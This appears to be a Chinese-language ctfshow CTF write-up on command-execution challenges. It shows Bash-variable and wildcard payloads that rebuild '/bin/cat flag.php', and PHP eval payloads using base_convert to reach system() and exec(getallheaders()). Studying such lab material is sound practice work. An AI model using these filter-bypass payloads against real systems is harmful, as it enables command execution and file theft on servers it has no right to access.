  • $RANDOM 产生随机整数 范围在0 - 32767之间.

ctfshow-命令执行_第43张图片

  • 在linux中可以用 ${#变量}显示变量的长度

    ctfshow-命令执行_第44张图片

这样就能得到4了,虽然是概率

  • $PWD为/var/www/html,这里也没有过滤,变量前一位为::1

    ctfshow-命令执行_第45张图片

    但是1也是被过滤的,所以还需要构造1

  • SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器

  • 默认开始是1那么就利用他来构造

payload

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
/bin/base64 flag.php
提示payload
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? 
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   $HOME的第$HOSTNAME个后取$SHLVL个为t
/bin/cat flag.php

web120

1.上题的payload一样能过

ctfshow-命令执行_第46张图片

提示中的payload

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
/bin/cat flag.php
说明当前用户的最后一位也是a

web121

1.过滤了SHLVL


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
     
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
         
        if(strlen($code)>65){
     
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

2.需要一个能代替SHLVL成为1

还是想到 ${#变量}显示变量的长度,再找一个长度始终为1的变量

$? 
用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

所以构造${#?}

payload

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

提示的payload

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
rev 是从最后一个字符显示到第一个字符。
${#IFS}=3
${PWD:${#IFS}:${#?}}=r

image-20201218000528960

image-20201218000946711

web124

1.设置了黑名单和白名单,且限制了长度


error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
     
    show_source(__FILE__);
}else{
     
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
     
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
     
        if (preg_match('/' . $blackitem . '/m', $content)) {
     
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
     
        if (!in_array($func, $whitelist)) {
     
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这道题主要利用base_conver()这个函数,他不止可以转到16进制,还能转到36进制,可以带所有小写字母

36进制

是数据的一种表示方法。同我们日常生活中的表示法不一样。它由0-9,A-Z组成,字母不区分大小写。与10进制的对应关系是:0-9对应0-9;A-F对应10-35。

2.解法一

相关函数

base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}(($$pi){abs});&pi=system&abs=ls
c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))
#pi和abs是数学函数中最短的
#base_convert(37907361743,10,36)="hex2bin"
#dechex(1598506324)="5f474554"
#hex2bin(5f474554)="_GET"
#$pi="_GET";$_GET{pi}($_GET{abs})&pi=system&abs=ls
#$pi="_GET";system(ls);

解法二

  1. getallheader()可以用来控制请求头,并且返回的是一个数组,
  2. 因为[]被waf了
  3. 所以在后面会有{1},读取数组的第一个元素
    所以我们可以自定义1这个元素,就有了在http头写
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

#$pi(696468,10,36)=exec
#$pi(8768397090111664438,10,30)=getallheaders
#$pi(8768397090111664438,10,30)(){1} = getallheaders()
#exec(getallheaders(){1})

ctfshow-命令执行_第47张图片

解法3

1.这种方法是利用定义时直接使用来节省

ctfshow-命令执行_第48张图片

?c=($pi=base_convert)(1751504350,10,36)($pi(1438255411,14,34)(dechex(1852579882)))

#($pi=base_convert)(1751504350,10,36) 这一步不仅定义了$pi也执行了base_convert(1751504350,10,36)
#dechex(1852579882)=6e6c202a
#hex2bin('6e6c202a')=nl *
#base_convert(1438255411,14,34)=hex2bin
#即最后为system(nl *)读取当前目录下所有文件

会报错但是能执行

你可能感兴趣的:(ctfshow,shell,php)